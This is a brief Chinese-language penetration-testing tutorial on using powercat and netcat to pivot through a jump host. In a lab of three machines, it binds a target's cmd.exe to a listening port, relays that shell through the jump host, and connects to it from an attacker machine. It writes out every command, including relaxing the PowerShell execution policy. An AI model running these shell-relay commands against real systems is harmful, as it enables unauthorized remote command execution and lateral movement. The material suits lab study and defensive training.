一、环境准备
1.1 设备准备
使用powercat进行端口转发,我们需要三台设备
- 靶机,ip: 192.168.0.100
- 跳板机,ip:192.168.248.144
- 攻击机,ip:192.168.248.201
1.2 软件准备
powercat下载地址
以管理员身份运行poweshell
然后执行命令
set-executionpolicy remotesigned #接着输入y回车 允许导入脚本
然后执行
Import-module E:\securityTools\powercat-master\powercat.ps1 #导入powercat
二、使用方法
靶机上执行
powercat -l -v -p 7777 -e cmd.exe
将自己的cmd.exe转发到自己的7777端口,等待别人来连接
跳板机上执行
powercat -l -v -p 8888 -r tcp:192.168.0.100:7777
访问靶机的7777端口获得cmd.exe,然后转发给本机的8888端口
攻击机上执行
nc -v 192.168.248.144 8888
连接跳板机的8888端口获得靶机的cmd.exe